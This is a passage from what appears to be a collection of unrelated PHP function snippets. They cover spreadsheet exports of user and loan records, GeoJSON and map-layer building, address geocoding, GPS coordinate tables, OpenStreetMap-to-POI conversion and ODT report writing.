'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "function getOGRole();", "function getOGRole();", "function location_cmn($lat, $long, $usegeolocation, $customerno = null) {\n $address = NULL;\n $customerno = (!isset($customerno)) ? $_SESSION['customerno'] : $customerno;\n if (isset($lat) && isset($long)) {\n $GeoCoder_Obj = new GeoCoder($customerno);\n $address = $GeoCoder_Obj->get_location_bylatlong($lat, $long);\n }\n return $address;\n}", "public function appendGeoJson(){\n\t\t//This might be made dynamic in the future, not sure yet.\n\t\t$table = \"BroDeployOverseas\"; // do be used later if tables need to be dynamic\n\t\t//Query that sums up all the regions' data.\n\t\t$query = \"Select Avg(BroDeployOverseas.regworkpercentcompleted) as regworkpercentcompleted, \n\t\t\tAvg(bandwidth.capacity) as Bcapacity,\n\t\t\tAvg(BroDeployOverseas.vsenpercentcompleted) as vsenpercentcompleted, BroDeployOverseas.region \n\t\t\tfrom public.BroDeployOverseas, public.bandwidth\n\t\t\tWhere BroDeployOverseas.region = bandwidth.region \n\t\t\tOR BroDeployOverseas.post = bandwidth.post\n\t\t\tGroup By BroDeployOverseas.region;\";\n\n\t\t$result = $this->connectPG($query);\t\t\t\n\t\t$rows = pg_fetch_all($result);\n\n\t\t$filename1 = \"js/geometry/dos_region_None.geojson\";\n\t\t$jsonStr1 = file_get_contents($filename1);\n\t\t$jsonObj1 = json_decode($jsonStr1);\n\t\t//var_dump($jsonObj1);\n\n\t\tif(file_exists($filename1)){\t\t\t\n\t\t\tforeach($jsonObj1->features as $metrodata){\n\t\t\t\tforeach($rows as $dbData){ // Can't think of a better way to do this than O(N^2)\t\t\t\t\n\t\t\t\t\tif($metrodata->properties->dos_region == trim($dbData['region'])){\n\t\t\t\t\t\tif(isset($dbData['regworkpercentcompleted'])){\n\t\t\t\t\t\t\t$metrodata->properties->regworkpercentcompleted = round($dbData['regworkpercentcompleted'],2);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$metrodata->properties->regworkpercentcompleted = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(isset($dbData['vsenpercentcompleted'])){\n\t\t\t\t\t\t\t$metrodata->properties->vsenpercentcompleted = round($dbData['vsenpercentcompleted'],2);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$metrodata->properties->vsenpercentcompleted = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(isset($dbData['bcapacity'])){\n\t\t\t\t\t\t\t$metrodata->properties->capacity = round($dbData['bcapacity'],2);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$metrodata->properties->capacity = 0;\n\t\t\t\t\t\t}\t\t\t\t\t\t\n\t\t\t\t\t}else{\t\t\t\t\t\n\t\t\t\t\t\t//error_log($dbData['region']);\n\t\t\t\t\t\t//error_log($metrodata->properties->dos_region);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\t\t\t\n\t\t\t$jsonStr1 = json_encode($jsonObj1);\n\t\t\t//error_log($jsonStr1);\n\t\t\t$cleanJsonStr = json_decode($jsonStr1);\n\n\t\t\t//Validate the JSON\n\t\t\tif($cleanJsonStr === NULL){\n\t\t\t\terror_log(\"There is an issue with your json in appendJson().\\n\");\n\t\t\t}else{\n\t\t\t\t//error_log(\"JSON is correct\");\n\t\t\t\treturn $jsonStr1;\n\t\t\t}\n\t\t}else{\n\t\t\terror_log(\"File: \".$filename1.\" does not exist in appendJson().\\n\");\n\t\t}\n\t}", "function export_nik_unins_lunas()\n\t{\n\t\t$excel_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_lunas_gagal($excel_id);\n\t\t\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Pelunasan Tidak Sesuai\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"PELUNASAN TIDAK SESUAI.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "function map(string $docuri) {\n $map = [\n 'title'=> 'carte '.$this->title,\n 'view'=> ['latlon'=> [47, 3], 'zoom'=> 6],\n ];\n $map['bases'] = [\n 'cartes'=> [\n 'title'=> \"Cartes IGN\",\n 'type'=> 'TileLayer',\n 'url'=> 'https://igngp.geoapi.fr/tile.php/cartes/{z}/{x}/{y}.jpg',\n 'options'=> [ 'minZoom'=> 0, 'maxZoom'=> 18, 'attribution'=> 'ign' ],\n ],\n 'orthos'=> [\n 'title'=> \"Ortho-images\",\n 'type'=> 'TileLayer',\n 'url'=> 'https://igngp.geoapi.fr/tile.php/orthos/{z}/{x}/{y}.jpg',\n 'options'=> [ 'minZoom'=> 0, 'maxZoom'=> 18, 'attribution'=> 'ign' ],\n ],\n 'whiteimg'=> [\n 'title'=> \"Fond blanc\",\n 'type'=> 'TileLayer',\n 'url'=> 'https://visu.gexplor.fr/utilityserver.php/whiteimg/{z}/{x}/{y}.jpg',\n 'options'=> [ 'minZoom'=> 0, 'maxZoom'=> 21 ],\n ],\n ];\n $map['defaultLayers'] = ['whiteimg'];\n \n $request_scheme = isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME']\n : ((isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS']=='on')) ? 'https' : 'http');\n foreach ($this->layers as $lyrid => $layer) {\n $overlay = [\n 'title'=> $layer['title'],\n 'type'=> 'UGeoJSONLayer',\n 'endpoint'=> \"$request_scheme://$_SERVER[SERVER_NAME]$_SERVER[SCRIPT_NAME]/$docuri/$lyrid\",\n ];\n foreach (['pointToLayer','style','minZoom','maxZoom'] as $key)\n if (isset($layer[$key]))\n $overlay[$key] = $layer[$key];\n elseif ($this->$key !== null)\n $overlay[$key] = $this->$key;\n\n $map['overlays'][$lyrid] = $overlay;\n if (isset($layer['displayedByDefault']))\n $map['defaultLayers'][] = $lyrid;\n }\n \n return new Map($map, \"$docuri/map\");\n }", "public function excel()\n {\n Excel::create('ReporteExcel', function($excel) {\n $excel->sheet('EdadGenero', function($sheet) {\n $usersinfo = User::select(DB::raw(\"users.cc as Cedula_Ciudadania, users.lastname as Apellidos, users.name as Nombres, users.email as Email, users.cellphone as Celular, users.department as DepartamentoNac, users.city as CiudadNac, users.created_at as FechaRegistro\"))->get();\n $sheet->fromArray($usersinfo);\n });\n })->export('xls');\n\n }", "protected function setGetSpatial( $data) {\n\t\tR::nuke();\n\t\t$place = R::dispense('place');\n\t\t$place->location = $data; //R::$f->GeomFromText('\"'.$data.'\"');\n\t\tR::store($place);\n\t\tasrt(R::getCell('SELECT AsText(location) FROM place LIMIT 1'),$data);\n\t}", "function fumseck_display_exif_geocoord($featured_image_exif) {\n\t\n\t$exif_latitude = $featured_image_exif['image_meta']['latitude_DegDec'];\n\t$exif_longitude = $featured_image_exif['image_meta']['longitude_DegDec'];\n\t\n\tif ( $exif_latitude && $exif_longitude ) {\n\t\t\n\t\t$output = sprintf(\n\t\t\t\t'%d° %d′ %d″ %s, %d° %d′ %d″ %s', \n\t\t\t\t$featured_image_exif['image_meta']['latitude_DMS']['degrees'],\n\t\t\t\t$featured_image_exif['image_meta']['latitude_DMS']['minutes'],\n\t\t\t\t$featured_image_exif['image_meta']['latitude_DMS']['seconds'],\n\t\t\t\t$featured_image_exif['image_meta']['latitude_DMS']['direction'],\n\t\t\t\t$featured_image_exif['image_meta']['longitude_DMS']['degrees'],\n\t\t\t\t$featured_image_exif['image_meta']['longitude_DMS']['minutes'],\n\t\t\t\t$featured_image_exif['image_meta']['longitude_DMS']['seconds'],\n\t\t\t\t$featured_image_exif['image_meta']['longitude_DMS']['direction']\n\t\t\t\t);\n\t\t\n\t\t$output = '(<a '\n\t\t\t\t. 'href=\"http://www.openstreetmap.org/?mlat=' . $exif_latitude . '&mlon=' . $exif_longitude . '\" '\n\t\t\t\t. 'title=\"' . __('View this location on OpenStreetMap (opens in another window)', 'fumseck') . '\" '\n\t\t\t\t. 'target=\"_blank\"'\n\t\t\t\t. '>' . $output . '</a>)';\n\t\t\n\t\techo $output;\n\t}\n}", "function venture_geo_process_map($existing_map) {\n $query = \"SELECT field_location_value, field_country_value, field_state_value, COUNT(nid) AS investor_count,\n MIN(field_minimum_investment_value) AS field_minimum_investment_value, \n MAX(field_maximum_investment_value) AS field_maximum_investment_value\n FROM {content_type_profile} WHERE LENGTH(IFNULL(field_location_value, '')) > 0\n AND field_location_value != 'invalid'\n GROUP BY field_location_value ORDER BY investor_count\";\n $result = db_query($query);\n \n $map_data = venture_geo_process_map_xml('default_color', array('color' => 'dadada'));\n $map_data .= venture_geo_process_map_xml('background_color', array('color' => 'ffffff'));\n $map_data .= venture_geo_process_map_xml('outline_color', array('color' => 'c4c4c4'));\n $map_data .= venture_geo_process_map_xml('default_point', array('color' => 'ff0000', 'size' => 7, 'opacity' => 50));\n $map_data .= venture_geo_process_map_xml('scale_points', array('data' => 25));\n $map_data .= venture_geo_process_map_xml('hover', array('font_size' => 13, 'font_color' => 'ffffff', 'background_color' => '51516d' ));\n \n while ($row = db_fetch_object($result)) {\n $geocode = explode('|', $row->field_location_value); \n $location = venture_geo_get_location($geocode[0], $row->field_state_value, $row->field_country_value);\n $investors = \"{$row->investor_count} venture investor\";\n $investors = $row->investor_count > 1 ? $investors . 's' : $investors;\n \n $field_minimum_investment = content_fields('field_minimum_investment', 'profile');\n $field_maximum_investment = content_fields('field_maximum_investment', 'profile');\n $min_investment = content_format($field_minimum_investment, $row->field_minimum_investment_value);\n $max_investment = content_format($field_maximum_investment, $row->field_maximum_investment_value);\n \n $map_data .= venture_geo_process_map_xml('point', array(\n 'name' => $location,\n 'loc' => $geocode[1] . ',' . $geocode[2],\n 'hover' => \"\\n$investors - \\n Minimum investment: $min_investment\\n Maximum investment: $max_investment\"\n ));\n }\n \n $map_data = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n<countrydata>\\n$map_data</countrydata>\";\n $map_destination = file_directory_path() . '/map_' . time() . '.xml';\n file_save_data($map_data, $map_destination, FILE_EXISTS_REPLACE);\n \n if ($existing_map) {\n file_delete($existing_map);\n }\n}", "function export_nik_unins_angsuran()\n\t{\n\t\t$angsuran_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_angsuran_unins($angsuran_id);\n\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Angsuran Non-Debet\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"ANGSURAN NON-DEBET.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "public function givecoordonerplsunom()\r\n {\r\n $request = $this->_bdd->query(\"SELECT gps.`id`, gps.id_bateau, gps.latitude, gps.longitude, bateau.nom FROM gps, bateau WHERE gps.id_bateau = bateau.id ORDER BY `gps`.`id` DESC\");\r\n while ($data = $request->fetch()) {\r\n $modf = \"modifcordoner.php?modfBateau=\" . $data[\"id_bateau\"];\r\n $supr = \"admin.php?suprBateau=\" . $data[\"id\"];\r\n?>\r\n <tr>\r\n <td><?=$data['id']?></td>\r\n <td><?= $data['id_bateau']?></td>\r\n <td>\r\n <a href=\"#\"><?= $data['nom']?></a>\r\n </td>\r\n \r\n <td><?= $data['latitude'] ?></td>\r\n <td><?=$data['longitude']?></td>\r\n <td>\r\n <a href=\"<?=$modf?>\" class=\"settings\" title=\"modifier\" data-toggle=\"tooltip\"><i class=\"material-icons\">&#xE8B8;</i></a>\r\n <a href=\"<?=$supr?>\" class=\"delete\" title=\"supprimer\" data-toggle=\"tooltip\"><i class=\"material-icons\">&#xE5C9;</i></a>\r\n </td>\r\n </tr>\r\n<?php\r\n }\r\n }", "function ooffice_write_etablissement( $record ) {\r\n // initial string;\r\n\t\tglobal $odt;\r\n\t\tif ($record){\r\n\t\t\t$id = trim( $record->id );\r\n\t\t\t$num_etablissement = trim( $record->num_etablissement);\r\n\t\t\t$nom_etablissement = recode_utf8_vers_latin1(trim( $record->nom_etablissement));\r\n\t\t\t$adresse_etablissement = recode_utf8_vers_latin1(trim( $record->adresse_etablissement));\r\n\t\t\t$logo=$record->logo_etablissement;\r\n\t\t\t\r\n\t\t\t// $odt->SetFont('Arial','I',10);\r\n\t\t\t// $texte=get_string('etablissement','referentiel').' <b>'.$nom_etablissement.'</b><br />'.get_string('num_etablissement','referentiel').' : <i>'.$num_etablissement.'</i> <br />'.$adresse_etablissement;\r\n\t\t\t$texte='<b>'.$nom_etablissement.'</b><br />'.get_string('num_etablissement','referentiel').' : <i>'.$num_etablissement.'</i> <br />'.$adresse_etablissement;\r\n\t\t\t$texte=recode_utf8_vers_latin1($texte);\r\n\t\t\t$odt->WriteParagraphe(0,$texte);\r\n\t\t\treturn true;\r\n }\r\n\t\treturn false;\r\n}", "function imprint_location(){\n include (__PROMOPATH__.\"admin/imprint-locations.php\");\n }", "function getCoordonnees($adresse){\n $apiKey = \"000824788445984525451:fkamkqgo6se\";//Indiquez ici votre clé Google maps !\n $url = \"http://maps.google.com/maps/geo?q=\".urlencode($adresse).\"&output=csv&key=\".$apiKey;\n\n $csv = file($url);\n $donnees = explode(\",\",$csv[0]); \n\t$t = array($donnees[2],$donnees[3]);\n\t\n return $t;\n\t}", "function getCoordonnees($adresse){\n $apiKey = \"000824788445984525451:fkamkqgo6se\";//Indiquez ici votre clé Google maps !\n $url = \"http://maps.google.com/maps/geo?q=\".urlencode($adresse).\"&output=csv&key=\".$apiKey;\n\n $csv = file($url);\n $donnees = explode(\",\",$csv[0]); \n\t$t = array($donnees[2],$donnees[3]);\n\t\n return $t;\n\t}", "function googleSearch($ar){\n $p = new XParam($ar, array('tplentry'=>'br'));\n $fs = $p->get('fs');\n $tpl = $p->get('tplentry');\n $ftable = $p->get('ftable');\n $fname = $p->get('fname');\n $fid = $p->get('fid');\n $flatlng = $p->get('flatlng');\n $flatlng = trim($flatlng);\n $foptions = $p->get('foptions');\n $readonly = $p->get('readonly');\n $oid = $p->get('oid');\n // recherche des infos table/champ dans l'EF\n // $fs = $this->getFieldSetupEdit($ar);\n // position initiale reçue sinon defaut\n if (!empty($flatlng) && $flatlng!=';'){\n list($plat, $plng) = explode(';', $flatlng);\n $mlat = $fs['elat'];\n $mlng = $fs['elng'];\n $newpoint = false;\n } elseif (!empty($oid)) {\n /* to do editer l'occurence ? */\n } else {\n $plat = $mlat = $fs['elat'];\n $plng = $mlng = $fs['elng'];\n $newpoint = true;\n }\n // lire le champ ? ... la cle etc\n $res = array('google'=>array('key'=>$this->key),\n\t\t 'map'=>array('zoom'=>$fs['ezoom'], \n\t\t\t 'readonly'=>$readonly,\n\t\t\t 'lng'=>$mlat, \n\t\t\t 'lat'=>$mlng),\n\t\t 'point'=>array('newpoint'=>$newpoint,\n\t\t\t\t'lat'=>$plat,\n\t\t\t\t'lng'=>$plng,\n\t\t\t\t'ftable'=>$ftable,\n\t\t\t\t'fid'=>$fid,\n\t\t\t\t'fname'=>$fname,\n\t\t\t\t'foptions'=>$foptions\n\t\t\t\t),\n\t\t 'maplabels'=>array('normalview'=>XLabels::getSysLabel('xmodmap','normalview', 'text'),\n\t\t\t\t 'physicalview'=>XLabels::getSysLabel('xmodmap','physicalview', 'text'),\n\t\t\t\t 'satelliteview'=>XLabels::getSysLabel('xmodmap','sattelitview', 'text'),\n\t\t\t\t 'hybridview'=>XLabels::getSysLabel('xmodmap','hybridview', 'text'),\n\t\t\t\t 'search'=>XLabels::getSysLabel('general', 'query', 'text'),\n\t\t\t\t 'validate'=>XLabels::getSysLabel('general', 'save', 'text'),\n\t\t\t\t 'quit'=>XLabels::getSysLabel('general', 'close', 'text'),\n\t\t\t\t 'notfound'=>XLabels::getSysLabel('xmodmap', 'unknownaddress', 'text'),\n\t\t\t\t 'centerview'=>XLabels::getSysLabel('xmodmap', 'centerview', 'text')\n\t\t\t\t )\n\t\t );\n return $res;\n }", "function goodNodeToPOI($xml, $conflate=FALSE) {\n global $ogcbaseuri, $osmbaseurl, $osmdataurl, $osmweburl, $category_scheme, $badcategories, $descriptioncategories;\n global $matchednodes; // from osm.load.php to count matches\n global $licenseidopenstreetmap, $iana;\n \n $poi = null;\n \n if ( empty($xml->attributes()->lat) || empty($xml->attributes()->lon) ) return NULL;\n \n // build POI properties\n $name = null;\n $categories = array();\n $description = null;\n \n $tags = $xml->tag; // array of <tag> elements\n foreach ( $tags as $tag ) {\n $k = (string)$tag['k'];\n $v = (string)$tag['v'];\n \n if ( $k == 'name' ) {\n $name = $v;\n \n } else if ( !(array_search($k, $descriptioncategories) === FALSE) ) {\n $description = new POIBaseType('DESCRIPTION');\n $description->setValue($v);\n $description->setAuthor( getOSMAuthor() );\n $description->setLicense( getOSMLicense() );\n\n } else {\n if ( array_search($k, $badcategories) === FALSE && strpos($k, 'note') !== 0 ) {\n $c = new POITermType('CATEGORY', $k, $v, $category_scheme . '#' . $k);\n $c->setAuthor( getOSMAuthor() );\n $c->setLicense( getOSMLicense() );\n $categories[] = $c;\n }\n }\n }\n \n // IF THERE'S NO NAME, IT'S NOT IMPORTANT ENOUGH TO STORE!!\n if ( empty($name) ) return NULL;\n \n\tif ( $conflate ) {\n\t // get distance matches\n\t $maxdistance = 200; // meters\n\t $lat = (double)$xml->attributes()->lat;\n\t $lon = (double)$xml->attributes()->lon; \n\n\t $matches = getDistanceMatches($lon, $lat, $maxdistance, 9);\n\t // echo \"number of features within $maxdistance meters of $name: \" . sizeof($matches) . \"\\n\";\n\n\t // add name match scores to distance matches\n\t $matches = getPOINames($name, $matches, FALSE);\n\t // echo \"num name matches: \" . sizeof($matches) . \"\\n\";\n\n\t // select a top match and load that POI\n\t $thematch = NULL;\n\t if ( $matches != NULL && sizeof($matches) > 0 ) {\n\t foreach($matches as $m) {\n\t $m->computeScore();\n\t // echo \"Match score is: $m->score\\n\";\n\t }\n\t foreach($matches as $m) {\n\t if ( ($thematch == NULL || $m->score > $thematch->score) && $m->poiuuid != NULL ) {\n\t $thematch = $m;\n\t }\n\t }\n\t }\n\t if ( $thematch != NULL && $thematch->score < 0.2000 ) {\n\t $poi = POI::loadPOIUUID($thematch->poiuuid);\n\t $id = $poi->getMyId();\n\t echo \"\\nGOT A MATCH!!!!!!!!\\n\";\n\t echo \"OSM POI: $name, lat: $lat, lon: $lon, ID: $id\\n\";\n\t echo \"matched: \";\n\t foreach ($thematch->labels as $label=>$score) {\n\t echo ($label . \">> dist score: \" . $thematch->distscore);\n\t echo (\" name score: \" . $score . \" total score: \" . $thematch->score . \"\\n\");\n\t }\n\t $matchednodes++;\n\t }\t\t\n\t}\n\n \n // if there was no match, create a NEW POI\n if ( $poi == null ) {\n $poi = new POI( gen_uuid(), $ogcbaseuri);\n $poi->changed = TRUE;\n\n // if there was no match, then location is needed\n $loc = new Location();\n\n // points\n $poslist = (string)$xml->attributes()->lat . ' ' . (string)$xml->attributes()->lon;\n $geom = new Geom('point', 'Point', $poslist, 'centroid');\n // $geom->setBase($osmdataurl);\n // $geom->setId($osmid);\n $geom->author = getOSMAuthor();\n $geom->setLicense( getOSMLicense() );\n $loc->addPointGeom($geom);\n $poi->location = $loc;\n }\n\n\t// if we are conflating, add the OSM location as an alternate\n // points\n $poslist = (string)$xml->attributes()->lat . ' ' . (string)$xml->attributes()->lon;\n $geom = new Geom('point', 'Point', $poslist, 'osm');\n $geom->author = getOSMAuthor();\n $geom->setLicense( getOSMLicense() );\n $poi->location->addPointGeom($geom);\n \n // if there's no label, or no exact label match, then add a new label\n $labelmatch = false;\n $term = 'primary';\n if ( !empty($poi->labels) && sizeof($poi->labels)>0 ) {\n $term = 'secondary';\n foreach ($poi->labels as $pl) {\n $plname = $pl->getValue();\n if ( trim($plname) == trim($name) ) {\n $labelmatch = true;\n }\n }\n }\n if ( !$labelmatch ) {\n $l = new POITermType('LABEL', $term, $name, NULL);\n $l->setAuthor( getOSMAuthor() );\n $l->setLicense( getOSMLicense() );\n $poi->updatePOIProperty($l);\n }\n \n // add the description if we found one\n if ( !empty($description) ) {\n $poi->updatePOIProperty($description);\n }\n \n // create an OSM link object and add it to the POI\n $osmid = (string)$xml->attributes()->id;\n $l = new POITermType('LINK', 'related', NULL, $iana);\n $l->setBase($osmbaseurl);\n $l->setId($osmid);\n $l->setHref($osmdataurl . '/' . $osmid);\n $x = $poi->updatePOIProperty($l);\n \n // now add all categories\n foreach ( $categories as $cat ) {\n $poi->updatePOIProperty($cat);\n }\n \n return $poi;\n}", "function map_over_data($value,$scad){\r\n $s=WEB_ROOT;\r\n $map_over_data_html='<div class=\"row\">\r\n <div class=\"col-md-4\">\r\n <div class=\"sch-profile-pic\">\r\n <img src=\"'.$s.'assets/frontend/img/sch-profpic1.png\" style=\"width: 114px;height: 114px;\">\r\n </div>\r\n </div>\r\n <div class=\"col-md-8\">\r\n <div class=\"sch-profile-details\">\r\n <h4>'.$value[\"name\"].'</h4>\r\n <h5>Light Goods Vehicle</h5>\r\n <h6>'.$value[\"address\"].'</h6>\r\n </div>\r\n </div>\r\n </div>';\r\n $lat_lng = $scad->getLnt($value[\"zip\"]);\r\n $map_over_data_lat = $lat_lng['lat'];\r\n $map_over_data_lng = $lat_lng['lng'];\r\n $map_over_data_img = $s.'assets/frontend/img/01.png';\r\n\r\n return $map_over_data = [$map_over_data_html,$map_over_data_lat,$map_over_data_lng,$map_over_data_img];\r\n\r\n }", "function ooffice_write_referentiel( $referentiel_instance, $referentiel_referentiel, $param){\r\n global $CFG;\r\n\tglobal $odt;\r\n\tglobal $image_logo;\r\n\t\t$ok_saut_page=false;\r\n if ($referentiel_instance && $referentiel_referentiel) {\r\n $name = recode_utf8_vers_latin1(trim($referentiel_referentiel->name));\r\n $code = recode_utf8_vers_latin1(trim($referentiel_referentiel->code_referentiel));\r\n\t\t\t$description = recode_utf8_vers_latin1(trim($referentiel_referentiel->description_referentiel));\r\n\t\t\t\r\n\t\t\t$id = $referentiel_instance->id;\r\n $name_instance = recode_utf8_vers_latin1(trim($referentiel_instance->name));\r\n $description_instance = recode_utf8_vers_latin1(trim($referentiel_instance->description_instance));\r\n $label_domaine = recode_utf8_vers_latin1(trim($referentiel_instance->label_domaine));\r\n $label_competence = recode_utf8_vers_latin1(trim($referentiel_instance->label_competence));\r\n $label_item = recode_utf8_vers_latin1(trim($referentiel_instance->label_item));\r\n $date_instance = $referentiel_instance->date_instance;\r\n $course = $referentiel_instance->course;\r\n $ref_referentiel = $referentiel_instance->ref_referentiel;\r\n\t\t\t$visible = $referentiel_instance->visible;\r\n $id = $referentiel_instance->id;\r\n\t\t\t\r\n\t\t\t// $odt->SetDrawColor(128, 128, 128); 